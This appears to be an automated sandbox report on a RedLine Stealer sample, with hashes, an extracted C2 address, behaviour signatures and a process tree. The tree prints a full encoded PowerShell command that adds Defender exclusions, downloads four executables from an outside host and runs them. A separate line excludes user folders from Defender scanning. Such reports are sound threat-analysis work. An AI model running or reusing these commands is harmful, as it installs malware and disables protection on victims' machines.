Analysis
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max time kernel
187s -
max time network
219s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
16/01/2023, 13:33
Static task
static1
Behavioral task
behavioral1
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win10v2004-20221111-en
General
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Target
77d29818be0d01c38545baa0bd4551c6853c224b.exe
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Size
365KB
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MD5
343adbd49e24d1bdec30f634f4055da8
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SHA1
77d29818be0d01c38545baa0bd4551c6853c224b
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SHA256
404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c
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SHA512
4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f
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SSDEEP
6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/1448-168-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4652 created 2700 4652 SmartDefRun.exe 37 -
Blocklisted process makes network request 1 IoCs
flow pid Process 39 4676 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 4 IoCs
pid Process 1396 C4Loader.exe 3020 new2.exe 720 SysApp.exe 4652 SmartDefRun.exe -
Uses the VBS compiler for execution 1 TTPs
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Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4884 set thread context of 1468 4884 77d29818be0d01c38545baa0bd4551c6853c224b.exe 82 PID 3020 set thread context of 1448 3020 new2.exe 97 -
Program crash 2 IoCs
pid pid_target Process procid_target 4936 4884 WerFault.exe 78 2748 3020 WerFault.exe 95 -
Suspicious behavior: EnumeratesProcesses 16 IoCs
pid Process 4676 powershell.exe 4676 powershell.exe 720 SysApp.exe 720 SysApp.exe 720 SysApp.exe 720 SysApp.exe 720 SysApp.exe 720 SysApp.exe 720 SysApp.exe 720 SysApp.exe 720 SysApp.exe 720 SysApp.exe 4652 SmartDefRun.exe 4652 SmartDefRun.exe 3140 powershell.exe 3140 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4676 powershell.exe Token: SeDebugPrivilege 3140 powershell.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 4884 wrote to memory of 1468 4884 77d29818be0d01c38545baa0bd4551c6853c224b.exe 82 PID 4884 wrote to memory of 1468 4884 77d29818be0d01c38545baa0bd4551c6853c224b.exe 82 PID 4884 wrote to memory of 1468 4884 77d29818be0d01c38545baa0bd4551c6853c224b.exe 82 PID 4884 wrote to memory of 1468 4884 77d29818be0d01c38545baa0bd4551c6853c224b.exe 82 PID 4884 wrote to memory of 1468 4884 77d29818be0d01c38545baa0bd4551c6853c224b.exe 82 PID 1468 wrote to memory of 4676 1468 vbc.exe 86 PID 1468 wrote to memory of 4676 1468 vbc.exe 86 PID 1468 wrote to memory of 4676 1468 vbc.exe 86 PID 4676 wrote to memory of 1396 4676 powershell.exe 94 PID 4676 wrote to memory of 1396 4676 powershell.exe 94 PID 4676 wrote to memory of 1396 4676 powershell.exe 94 PID 4676 wrote to memory of 3020 4676 powershell.exe 95 PID 4676 wrote to memory of 3020 4676 powershell.exe 95 PID 4676 wrote to memory of 3020 4676 powershell.exe 95 PID 3020 wrote to memory of 1448 3020 new2.exe 97 PID 3020 wrote to memory of 1448 3020 new2.exe 97 PID 3020 wrote to memory of 1448 3020 new2.exe 97 PID 3020 wrote to memory of 1448 3020 new2.exe 97 PID 3020 wrote to memory of 1448 3020 new2.exe 97 PID 4676 wrote to memory of 720 4676 powershell.exe 100 PID 4676 wrote to memory of 720 4676 powershell.exe 100 PID 4676 wrote to memory of 720 4676 powershell.exe 100 PID 4676 wrote to memory of 4652 4676 powershell.exe 101 PID 4676 wrote to memory of 4652 4676 powershell.exe 101
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2700
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C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4884 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1396
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3020 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵PID:1448
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3020 -s 3046⤵
- Program crash
PID:2748
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:720
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4652
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4884 -s 3283⤵
- Program crash
PID:4936
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3140
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4884 -ip 48841⤵PID:1776
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3020 -ip 30201⤵PID:984
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
53KB
MD5124edf3ad57549a6e475f3bc4e6cfe51
SHA180f5187eeebb4a304e9caa0ce66fcd78c113d634
SHA256638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
SHA512b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
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Filesize
19KB
MD54bcf71fe44462be5e9f237b184549b28
SHA1fd053ba66f0f9c88c982878594cd3f8192f31a10
SHA256e32cea0175f8233cfd95b11fcd5bedffc7e3609ce8ba7b8f0e98f8c9e29834cb
SHA512b3ee36b6624686929d3681789f32fd8488908cf24c07762ed0fc98c1ac0330967bcf484a593effbcd008efeef80f66d730660d90ed97ae14a1e12ae0c13d66a5
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5